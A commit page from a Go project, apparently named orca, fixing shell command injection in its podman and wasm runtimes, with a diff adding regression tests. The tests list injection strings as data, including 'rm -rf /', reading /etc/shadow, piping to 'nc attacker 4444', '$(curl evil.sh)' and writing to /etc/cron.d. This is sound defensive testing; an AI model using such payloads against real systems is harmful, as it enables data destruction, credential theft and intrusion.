fix(P01): command injection in podman/wasm runtimes (REQ-119, F3)
---ci--- project: orca phase: 1 milestone: v0.12 status: execute ---/ci--- shellQuote the jobspec-supplied command string (cmdStr) before interpolating into SSH exec in podman.go (Start) and wasm.go (Start). Previously cmdStr was interpolated unquoted, allowing a malicious jobspec command with shell metacharacters (; | $() backticks newline > <) to inject commands on the peer. Fixes: - internal/runtime/runtime.go: add shellQuote helper (mirrors internal/sshpush.shellQuote; duplicated to avoid import cycle). - internal/runtime/podman.go: Start quotes name + cmdStr; Stop/rm/ inspect quote name (defense-in-depth). - internal/runtime/wasm.go: Start uses env 'ORCA_ALLOC_ID=<id>' (so the UUID-style alloc ID is safely assigned) and shellQuote(cmdStr). Tests: 21 new injection regression tests (10 podman + 9 wasm + 2 image) covering ; && | $() backticks newline $IFS > < (). All pass. Existing runtime tests still pass. go vet + gofmt clean.
This commit is contained in:
@@ -16,7 +16,7 @@ func TestWasmRuntime_HappyPath(t *testing.T) {
|
||||
srv.setHandler("command -v wasmtime", func(cmd string) ([]byte, int) {
|
||||
return []byte("/usr/bin/wasmtime\n"), 0
|
||||
})
|
||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||
return []byte("started\n"), 0
|
||||
})
|
||||
srv.setHandler("pkill -f", func(cmd string) ([]byte, int) {
|
||||
@@ -86,7 +86,7 @@ func TestWasmRuntime_StartNoImage(t *testing.T) {
|
||||
func TestWasmRuntime_StartExecError(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||
return []byte("module not found\n"), 1
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
@@ -169,3 +169,48 @@ func TestWasmRuntime_NoCGOImport(t *testing.T) {
|
||||
|
||||
// _ = context to keep import in case helpers above stop using it.
|
||||
var _ = context.Background
|
||||
|
||||
// --- REQ-119 / F3 command injection regression tests (wasm) ---
|
||||
|
||||
// TestWasmRuntime_CommandInjection verifies that a jobspec command
|
||||
// containing shell metacharacters is shell-quoted on the remote.
|
||||
func TestWasmRuntime_CommandInjection(t *testing.T) {
|
||||
injections := []string{
|
||||
"/fn; rm -rf /",
|
||||
"/fn && cat /etc/shadow",
|
||||
"/fn | nc attacker 4444",
|
||||
"/fn $(curl evil.sh)",
|
||||
"/fn `whoami`",
|
||||
"/fn\nwhoami",
|
||||
"/fn; echo $IFS",
|
||||
"/fn > /etc/cron.d/pwn",
|
||||
"/fn; (id)",
|
||||
}
|
||||
for _, inj := range injections {
|
||||
t.Run(inj, func(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
var captured string
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=", func(cmd string) ([]byte, int) {
|
||||
captured = cmd
|
||||
return []byte("started\n"), 0
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
defer tr.Close()
|
||||
w := NewWasmRuntime(tr)
|
||||
a := allocWithNode("wasm", "/data/app.wasm", inj, srv.addr())
|
||||
if _, err := w.Start(context.Background(), a); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
|
||||
t.Errorf("injection not shell-quoted in command:\n%s", captured)
|
||||
}
|
||||
bare := strings.ReplaceAll(inj, "'", "'\\''")
|
||||
quoted := "'" + bare + "'"
|
||||
withoutQuoted := strings.Replace(captured, quoted, "", 1)
|
||||
if strings.Contains(withoutQuoted, inj) {
|
||||
t.Errorf("injection appears unquoted in command:\n%s", captured)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user